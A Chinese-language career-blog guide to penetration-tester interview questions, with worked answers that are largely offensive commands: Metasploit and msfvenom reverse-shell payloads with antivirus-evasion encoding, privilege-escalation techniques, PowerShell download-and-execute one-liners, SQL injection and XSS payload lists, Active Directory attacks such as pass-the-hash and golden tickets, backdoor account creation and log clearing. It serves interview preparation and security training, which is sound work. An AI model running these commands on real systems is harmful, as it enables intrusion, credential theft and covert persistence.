十二月 21, 2025
36 分钟阅读

渗透测试工程师面试题:完整指南

interview
career-advice
job-search
渗透测试工程师面试题:完整指南
MB

Milad Bonakdar

作者

通过全面的面试题掌握渗透测试概念,涵盖道德黑客、漏洞评估、Metasploit、Burp Suite 以及渗透测试工程师职位的安全测试方法。


引言

渗透测试人员(道德黑客)通过模拟真实世界的攻击来识别安全漏洞。这个角色需要深入了解黑客技术、安全工具和方法,以帮助组织加强防御。

本指南涵盖了渗透测试人员面试中常见的问题,重点关注道德黑客、漏洞评估和安全测试工具。


渗透测试基础

1. 渗透测试的阶段有哪些?

回答: 结构化的渗透测试方法:

1. 计划与侦察:

  • 确定范围和目标
  • 收集情报(被动/主动)

2. 扫描:

  • 识别存活主机、开放端口、服务
  • 漏洞扫描

3. 获取访问权限:

  • 利用漏洞
  • 获得初始立足点

4. 维持访问:

  • 安装后门
  • 权限提升

5. 分析与报告:

  • 记录发现
  • 提供修复建议
Loading diagram...

侦察示例:

# 被动侦察
whois target.com
nslookup target.com
dig target.com ANY

# 主动侦察
nmap -sn 192.168.1.0/24  # 主机发现
nmap -sV -sC target.com  # 服务/版本检测

稀有度: 非常常见 难度: 中等


漏洞评估

2. 如何确定漏洞的优先级?

回答: 基于风险的优先级划分,使用 CVSS 和业务背景:

CVSS 评分:

  • 严重 (9.0-10.0): 远程代码执行,身份验证绕过
  • 高 (7.0-8.9): SQL 注入,具有数据访问权限的 XSS
  • 中 (4.0-6.9): 信息泄露,CSRF
  • 低 (0.1-3.9): 轻微的信息泄露

优先级因素:

def calculate_risk_score(vulnerability):
    """计算漏洞的风险评分"""
    # 基本 CVSS 评分
    cvss_score = vulnerability.cvss_score
    
    # 可利用性
    if vulnerability.exploit_available:
        exploitability = 1.5
    elif vulnerability.poc_available:
        exploitability = 1.2
    else:
        exploitability = 1.0
    
    # 资产重要性
    asset_value = {
        'critical': 3.0,  # 生产数据库
        'high': 2.0,      # Web 应用程序
        'medium': 1.5,    # 内部工具
        'low': 1.0        # 测试环境
    }[vulnerability.asset_criticality]
    
    # 数据敏感性
    data_sensitivity = {
        'pii': 2.0,       # 个人数据
        'financial': 2.5, # 支付信息
        'confidential': 1.5,
        'public': 1.0
    }[vulnerability.data_type]
    
    risk_score = cvss_score * exploitability * asset_value * data_sensitivity
    return min(risk_score, 10.0)  # 上限为 10

稀有度: 非常常见 难度: 中等


Metasploit

3. 如何使用 Metasploit 来利用漏洞?

回答: Metasploit 框架工作流程:

基本漏洞利用:

# 启动 Metasploit
msfconsole

# 搜索漏洞
search ms17-010  # EternalBlue

# 使用漏洞
use exploit/windows/smb/ms17_010_eternalblue

# 显示选项
show options

# 设置目标
set RHOSTS 192.168.1.100

# 设置有效载荷
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# 检查目标是否易受攻击
check

# 运行漏洞利用
exploit

Meterpreter 命令:

# 系统信息
sysinfo
getuid

# 权限提升
getsystem

# 转储凭据
hashdump
load kiwi
cred_all

# 持久化
run persistence -X -i 60 -p 4444 -r 192.168.1.50

# 枢轴
run autoroute -s 10.0.0.0/24
portfwd add -l 3389 -p 3389 -r 10.0.0.10

有效载荷生成:

# 生成反向 shell
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o payload.exe

# 编码以绕过 AV
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o encoded_payload.exe

稀有度: 非常常见 难度: 中等到困难


4. 如何执行权限提升?

回答: 权限提升利用错误配置来获得更高的访问级别。

Linux 权限提升:

1. 枚举:

# 系统信息
uname -a
cat /etc/issue
cat /etc/*-release

# 当前用户和权限
id
sudo -l

# 用户和组
cat /etc/passwd
cat /etc/group

# SUID 二进制文件
find / -perm -4000 -type f 2>/dev/null

# 可写目录
find / -writable -type d 2>/dev/null

# Cron 作业
crontab -l
cat /etc/crontab
ls -la /etc/cron*

# 网络连接
netstat -antup
ss -tulpn

2. 常见技术:

SUID 漏洞利用:

# 查找 SUID 二进制文件
find / -perm -u=s -type f 2>/dev/null

# 示例:利用 find
find /home -exec /bin/sh \; -quit

# 示例:利用 vim
vim -c ':!/bin/sh'

# 示例:利用 nmap(旧版本)
nmap --interactive
nmap> !sh

Sudo 错误配置:

# 检查 sudo 权限
sudo -l

# 示例输出:
# (ALL) NOPASSWD: /usr/bin/vim

# 利用 vim
sudo vim -c ':!/bin/sh'

# 示例:LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find

内核漏洞:

# 检查内核版本
uname -r

# 搜索漏洞
searchsploit linux kernel 4.4.0

# 示例:Dirty COW
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password

3. 自动化工具:

# LinPEAS (Linux Privilege Escalation Awesome Script)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Windows 权限提升:

1. 枚举:

# 系统信息
systeminfo
hostname
whoami /all

# 用户和组
net user
net localgroup administrators

# 正在运行的进程
tasklist /v
wmic process list full

# 服务
sc query
wmic service list brief

# 计划任务
schtasks /query /fo LIST /v

# 网络连接
netstat -ano

# 已安装的软件
wmic product get name,version

2. 常见技术:

未引用的服务路径:

# 查找未引用的服务路径
wmic service get name,pathname,displayname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# 利用
C:\Program Files\Vulnerable App\service.exe
# 在以下位置创建恶意可执行文件:
C:\Program.exe

AlwaysInstallElevated:

# 检查注册表
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# 如果两者都为 1,则创建恶意 MSI
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

令牌模拟:

# Meterpreter
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

3. 自动化工具:

# WinPEAS
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')
Invoke-WinPEAS

# PowerUp
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks

# Sherlock (内核漏洞)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
Find-AllVulns

稀有度: 非常常见 难度: 困难


Burp Suite

5. 如何使用 Burp Suite 查找 SQL 注入?

回答: 系统化的 SQL 注入测试:

1. 拦截请求:

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

2. 发送到 Repeater: 测试手动有效载荷:

username=admin' OR '1'='1&password=test
username=admin' AND 1=1--&password=test
username=admin' UNION SELECT NULL--&password=test

3. 使用 Intruder:

攻击类型:狙击手
有效载荷位置:username=§admin§
有效载荷列表:
  ' OR '1'='1
  ' OR 1=1--
  ' UNION SELECT NULL--
  ' UNION SELECT NULL,NULL--
  admin'--
  ' OR 'a'='a

4. 分析响应:

  • 不同的响应长度
  • 错误消息
  • 时间延迟(盲注 SQLi)

高级测试:

# 盲注 SQL 注入检测
import requests
import time

def test_blind_sqli(url, param):
    # 基于时间的检测
    payloads = [
        "' AND SLEEP(5)--",
        "' OR SLEEP(5)--",
        "'; WAITFOR DELAY '00:00:05'--"
    ]
    
    for payload in payloads:
        start = time.time()
        response = requests.post(url, data={param: payload})
        elapsed = time.time() - start
        
        if elapsed > 5:
            print(f"[+] 发现盲注 SQLi,有效载荷为:{payload}")
            return True
    
    return False

稀有度: 非常常见 难度: 中等


Web 应用程序测试

6. 如何测试 XSS 漏洞?

回答: 全面的 XSS 测试方法:

XSS 的类型:

  1. 反射型: 有效载荷在 URL/表单中,立即反射
  2. 存储型: 有效载荷存储在数据库中
  3. DOM 型: 客户端 JavaScript 漏洞

测试方法:

1. 识别注入点:

# URL 参数
http://target.com/search?q=<script>alert(1)</script>

# 表单输入
<input name="comment" value="<script>alert(1)</script>">

# HTTP 标头
User-Agent: <script>alert(1)</script>

2. 绕过过滤器:

// 基本有效载荷
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

// 绕过过滤器
<scr<script>ipt>alert(1)</script>
<img src=x onerror="alert(1)">
<IMG SRC=x ONERROR=alert(1)>  // 大小写变化

// 事件处理程序
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

// 编码的有效载荷
&#60;script&#62;alert(1)&#60;/script&#62;
\u003cscript\u003ealert(1)\u003c/script\u003e

3. Burp Suite XSS 测试:

Intruder 有效载荷列表:
  <script>alert(document.domain)</script>
  <img src=x onerror=alert(1)>
  <svg/onload=alert(1)>
  javascript:alert(1)
  <iframe src="javascript:alert(1)">

4. 自动化扫描:

# XSStrike
python xsstrike.py -u "http://target.com/search?q=test"

# Dalfox
dalfox url http://target.com/search?q=FUZZ

稀有度: 非常常见 难度: 中等


7. 如何测试 API 安全性?

回答: API 安全性测试侧重于身份验证、授权和输入验证。

常见的 API 漏洞:

1. 身份验证失效:

# 测试弱 JWT
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0..." https://api.example.com/user

# 带有 "alg": "none" 的 JWT
# 修改有效载荷并删除签名

2. 授权失效:

# IDOR (不安全直接对象引用)
curl https://api.example.com/user/123
curl https://api.example.com/user/124  # 尝试其他用户 ID

# 测试不同的 HTTP 方法
curl -X DELETE https://api.example.com/user/123
curl -X PUT https://api.example.com/user/123 -d '{"role":"admin"}'

3. 大规模赋值:

# 尝试添加管理员字段
curl -X POST https://api.example.com/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "password": "pass123",
    "role": "admin",
    "is_admin": true
  }'

REST API 测试:

# 自动化 API 测试
import requests
import json

class APISecurityTester:
    def __init__(self, base_url, token=None):
        self.base_url = base_url
        self.headers = {}
        if token:
            self.headers['Authorization'] = f'Bearer {token}'
    
    def test_idor(self, endpoint, id_range):
        """测试 IDOR 漏洞"""
        accessible_ids = []
        
        for user_id in range(id_range[0], id_range[1]):
            url = f"{self.base_url}/{endpoint}/{user_id}"
            response = requests.get(url, headers=self.headers)
            
            if response.status_code == 200:
                accessible_ids.append(user_id)
                print(f"[+] 可访问:{user_id}")
        
        return accessible_ids
    
    def test_rate_limiting(self, endpoint):
        """测试速率限制"""
        for i in range(1000):
            response = requests.get(
                f"{self.base_url}/{endpoint}",
                headers=self.headers
            )
            
            if response.status_code == 429:
                print(f"[+] 在 {i} 个请求后强制执行速率限制")
                return True
        
        print("[-] 未检测到速率限制")
        return False
    
    def test_injection(self, endpoint, payloads):
        """测试注入漏洞"""
        for payload in payloads:
            data = {"search": payload}
            response = requests.post(
                f"{self.base_url}/{endpoint}",
                headers=self.headers,
                json=data
            )
            
            # 检查 SQL 错误
            if any(err in response.text.lower() for err in 
                   ['sql', 'mysql', 'sqlite', 'postgresql', 'oracle']):
                print(f"[!] 潜在的 SQL 注入:{payload}")
                print(f"响应:{response.text[:200]}")
    
    def test_authentication_bypass(self, login_endpoint):
        """测试身份验证绕过"""
        bypass_payloads = [
            {"username": "admin' OR '1'='1", "password": "anything"},
            {"username": "admin", "password": "' OR '1'='1"},
            {"username": "admin'--", "password": ""},
        ]
        
        for payload in bypass_payloads:
            response = requests.post(
                f"{self.base_url}/{login_endpoint}",
                json=payload
            )
            
            if response.status_code == 200:
                print(f"[!] 潜在的身份验证绕过:{payload}")

# 用法
tester = APISecurityTester('https://api.example.com')
tester.test_idor('users', (1, 100))
tester.test_rate_limiting('api/search')

GraphQL 测试:

# 内省查询
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields {
        name
        args {
          name
          type { name }
        }
      }
    }
  }
}
# GraphQL 注入
query = '''
query {
  user(id: "1' OR '1'='1") {
    id
    username
    email
  }
}
'''

# GraphQL 批量攻击
queries = [
    {"query": "query { user(id: 1) { id username } }"},
    {"query": "query { user(id: 2) { id username } }"},
    # ... 重复 1000 次
]

response = requests.post(
    'https://api.example.com/graphql',
    json=queries
)

API Fuzzing:

# 使用 ffuf 进行 API fuzzing
ffuf -w wordlist.txt -u https://api.example.com/FUZZ -mc 200,301,302

# 参数 fuzzing
ffuf -w params.txt -u https://api.example.com/api?FUZZ=test -mc 200

# 方法 fuzzing
for method in GET POST PUT DELETE PATCH OPTIONS; do
    curl -X $method https://api.example.com/api/resource
done

Postman/Burp Suite:

// Postman 预请求脚本
const payload = "' OR '1'='1";
pm.environment.set("injection_payload", payload);

// Postman 测试脚本
pm.test("检查 SQL 错误", function () {
    pm.expect(pm.response.text()).to.not.include("SQL");
    pm.expect(pm.response.text()).to.not.include("mysql");
});

OWASP API 安全十大:

  1. 对象级别授权失效 - 测试 IDOR
  2. 身份验证失效 - 测试弱令牌
  3. 过度数据暴露 - 检查响应数据
  4. 缺乏资源和速率限制 - 测试 DoS
  5. 功能级别授权失效 - 测试权限提升
  6. 大规模赋值 - 测试参数污染
  7. 安全配置错误 - 检查标头、CORS
  8. 注入 - 测试 SQLi、NoSQLi、命令注入
  9. 不当资产管理 - 查找旧 API 版本
  10. 日志记录和监控不足 - 检查审计日志

稀有度: 常见 难度: 中等到困难


网络渗透测试

8. 如何执行网络渗透测试?

回答: 结构化的网络评估:

1. 网络发现:

# Ping 扫描
nmap -sn 192.168.1.0/24

# ARP 扫描(本地网络)
arp-scan -l

# 识别存活主机
netdiscover -r 192.168.1.0/24

2. 端口扫描:

# TCP SYN 扫描(隐身)
nmap -sS 192.168.1.100

# 服务版本检测
nmap -sV 192.168.1.100

# 操作系统检测
nmap -O 192.168.1.100

# 激进扫描
nmap -A -T4 192.168.1.100

# 所有端口
nmap -p- 192.168.1.100

3. 漏洞扫描:

# Nmap NSE 脚本
nmap --script vuln 192.168.1.100

# 特定漏洞
nmap --script smb-vuln-ms17-010 192.168.1.100

# OpenVAS/Nessus 用于全面扫描

4. 漏洞利用:

# SMB 漏洞利用
use exploit/windows/smb/ms17_010_eternalblue

# SSH 暴力破解
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

5. 后渗透:

# 横向移动
# 凭据转储
# 权限提升
# 持久化

稀有度: 非常常见 难度: 困难


9. 如何攻击 Active Directory 环境?

回答: Active Directory 是一个主要目标,具有许多攻击途径。

枚举:

# PowerView 枚举
Import-Module PowerView.ps1

# 获取域信息
Get-Domain
Get-DomainController

# 枚举用户
Get-DomainUser
Get-DomainUser -Identity administrator

# 枚举组
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"

# 查找共享
Find-DomainShare -CheckShareAccess

# 查找计算机
Get-DomainComputer

BloodHound:

# 使用 SharpHound 收集数据
.\SharpHound.exe -c All

# 或者使用 PowerShell
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# 将 JSON 上传到 BloodHound GUI
# 分析到域管理员的攻击路径

Kerberoasting:

# 请求服务票证
Import-Module Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat

# 或者使用 Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# 使用 hashcat 破解
hashcat -m 13100 hashes.txt wordlist.txt

AS-REP Roasting:

# 查找具有 "Do not require Kerberos preauthentication" 的用户
Get-DomainUser -PreauthNotRequired

# 请求 AS-REP
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

# 破解
hashcat -m 18200 asrep_hashes.txt wordlist.txt

Pass-the-Hash:

# 使用 Impacket
python3 psexec.py -hashes :ntlmhash [email protected]

# 使用 CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H ntlmhash

# 转储 SAM
python3 secretsdump.py -hashes :ntlmhash [email protected]

Pass-the-Ticket:

# 使用 Mimikatz 导出票证
mimikatz # sekurlsa::tickets /export

# 注入票证
mimikatz # kerberos::ptt ticket.kirbi

# 或者使用 Rubeus
.\Rubeus.exe ptt /ticket:ticket.kirbi

Golden Ticket:

# 获取 krbtgt 哈希
mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt

# 创建黄金票证
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:hash /id:500

# 注入票证
mimikatz # kerberos::ptt ticket.kirbi

Silver Ticket:

# 获取服务帐户哈希
mimikatz # sekurlsa::logonpasswords

# 为特定服务创建白银票证
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /target:server.example.com /service:cifs /rc4:hash

DCSync 攻击:

# Mimikatz
mimikatz # lsadump::dcsync /domain:example.com /user:Administrator

# Impacket
python3 secretsdump.py example.com/user:[email protected]

横向移动:

# PSExec
.\PsExec.exe \\target -u domain\user -p password cmd

# WMI
wmic /node:target /user:domain\user /password:password process call create "cmd.exe"

# PowerShell 远程处理
Enter-PSSession -ComputerName target -Credential domain\user

# RDP
xfreerdp /u:domain\user /p:password /v:target

持久化:

# 创建域管理员
net user backdoor Password123! /add /domain
net group "Domain Admins" backdoor /add /domain

# 黄金票证(长期)
# 白银票证(特定服务)

# 骨架密钥(Mimikatz)
mimikatz # misc::skeleton
# 现在任何用户都可以使用密码 "mimikatz" 进行身份验证

防御规避:

# 禁用 Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

# 清除事件日志
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# 混淆 PowerShell
Invoke-Obfuscation

稀有度: 常见 难度: 困难


报告

10. 渗透测试报告应包括哪些内容?

回答: 全面的报告结构:

执行摘要:

  • 高级别发现
  • 业务影响
  • 风险概述
  • 建议

技术细节:

## 发现:登录表单中的 SQL 注入

**严重性:** 严重 (CVSS 9.8)

**描述:**
/admin/login 的登录表单容易受到 SQL 注入攻击,
允许攻击者绕过身份验证并访问管理面板。

**受影响的资产:**
- URL:https://target.com/admin/login
- 参数:username
- 方法:POST

**概念验证:**
```http
POST /admin/login HTTP/1.1
Host: target.com

username=admin' OR '1'='1'--&password=anything

影响:

  • 未经授权访问管理面板
  • 访问敏感客户数据
  • 潜在的数据库泄露

修复:

  1. 使用参数化查询
  2. 实施输入验证
  3. 将最小权限原则应用于数据库用户

稀有度: 非常常见 难度: 中等


结论

渗透测试人员面试需要实践经验和深入的技术知识。重点关注:

  1. 方法论: 结构化的测试方法、文档
  2. 漏洞评估: 风险优先级划分、CVSS 评分
  3. 工具: Metasploit、Burp Suite、Nmap、自定义脚本
  4. 权限提升: Linux 和 Windows 技术、自动化工具
  5. Web 测试: SQL 注入、XSS、身份验证绕过
  6. API 测试: REST/GraphQL 安全性、授权缺陷
  7. 网络测试: 扫描、漏洞利用、横向移动
  8. Active Directory: Kerberoasting、Pass-the-Hash、BloodHound
  9. 报告: 清晰的文档、业务影响、修复

在合法的环境中(HackTheBox、TryHackMe)进行练习,获得认证(OSCP、CEH),并及时了解最新的漏洞。祝你好运!

Newsletter subscription

真正有效的每周职业建议

将最新见解直接发送到您的收件箱

Decorative doodle

创建一份让您被录用速度提高60%的简历

在几分钟内,创建一份量身定制的、ATS友好的简历,已证明可以获得6倍以上的面试机会。

创建更好的简历

分享这篇文章

将简历撰写时间减少90%

普通求职者需要花费3小时以上来格式化简历。我们的AI在15分钟内完成,让您以12倍的速度进入申请阶段。